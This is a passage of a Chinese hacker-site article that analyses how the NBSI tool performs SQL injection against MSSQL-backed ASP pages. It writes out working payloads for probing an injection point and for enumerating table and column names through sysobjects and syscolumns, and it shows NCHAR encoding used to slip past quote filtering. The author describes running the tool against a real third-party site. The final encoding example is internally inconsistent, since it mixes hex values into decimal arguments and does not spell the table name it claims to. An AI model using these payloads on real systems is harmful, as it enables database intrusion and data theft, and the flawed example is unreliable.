黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图
您现在的位置: 黑客风云 >> 黑客文章 >> 黑客入门 >> 黑客常识 >> 文章正文
[组图]NBSI 注入分析跟踪报告(MSSQL篇)
      ★★★★★
NBSI 注入分析跟踪报告(MSSQL篇)
文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2007-1-8
前言:

编写一个好的工具不容易,编写一个注入工具更是不容易。这篇文章系统通过跟踪NBSI的注入过程来分析牛人的测试思路。对手工分析刺探很有帮助。仔细跟踪NBSI的刺探结果也是对注入攻击的一种欣赏。 

首先我们找到了一家IT站点做测试,测试的目录仅仅是为了跟踪NBSI的刺探思路,不曾对该网站进行过恶意的破坏! 

1 注入点的探测

假设注入点为:http://www.xxx.com/zhuru.asp?id=1

那么NBSI会首先试探这样的连接: 

http://www.xxx.com/zhuru.asp?id=1 and user%2bchar(124)>0

最开始不明白为什么要叫个Char(124),这个值其实是个”|”符号。后面我们会说到。

当然了,这样IIS会报错,返回一个500的内部错误号码,也许作者就以此为根据吧。


3 猜解表名


跟踪发现,作者用一句话就完成一个表名的猜解,效率的确很高。具体的表名猜测代码为:

And (Select Top 1 cast(name as varchar(8000)) from(Select Top 1 id,name from sysobjects Where xtype=char(85) order by id) T order by id desc)>0 

看见红色的1了吗?这个就是猜测数据表的表名数值!如果是第一个表,当然就为1,如果是第一个表那么这个1就改为2就是了,以此类推。 

那么我们如何决定表名已经猜测完毕了呢?这个简单,跟踪发现,只要 表名数值 X 和 X+1 个表返回的表名值是一样的表示猜测完毕了。


5 猜测列名

跟踪发现,作者也是用一句话就完成了一个表名的猜解。可能这个就是对MSSQL猜解的好处吧!换了Access可能也是要一个字母一个字母的去猜。具体的猜解列名的代码为:

And (Select Top 1 cast(name as varchar(8000)) from (Select Top 1 colid,name From syscolumns Where id = OBJECT_ID(NCHAR(78)%2BNCHAR(101)%2BNCHAR(119)%2BNCHAR(115)%2BNCHAR(95)%2BNCHAR(85)%2BNCHAR(115)%2BNCHAR(101)%2BNCHAR(114)) Order by colid) T Order by colid desc)>0 

看到红色的1了吗?这个表示我们要猜测列名的序列值。换成2就表示要猜测第2个列名。判断结束的方式和判断表名结束的方式一样。

注意一点:

NCHAR(78)%2BNCHAR(101)%2BNCHAR(119)%2BNCHAR(115)%2BNCHAR(95)%2BNCHAR(85)%2BNCHAR(115)%2BNCHAR(101)%2BNCHAR(114)

为了饶过 ‘ 符号的限制,作者尽量使用Nchar来连接表名的字符串值。上面这一传实际上就代表了一个表的字符串值。括号里面的数字是字符的ASC码。 

举例:

如果我们要猜测xfiletd这个表名,我们只要用HUIE的插件换算一下就OK了!

见下图:

我们就得到了下面字符:

nchar(78)%2bnchar(66)%2bnchar(69)%2bnchar(6C)%2bnchar(65)%2bnchar(74)%2bnchar(75)

呵呵!速度快吧! 

[1] [2] 下一页  

文章录入:cainiaowang    责任编辑:cainiaowang 
【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
VIP 专 区
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886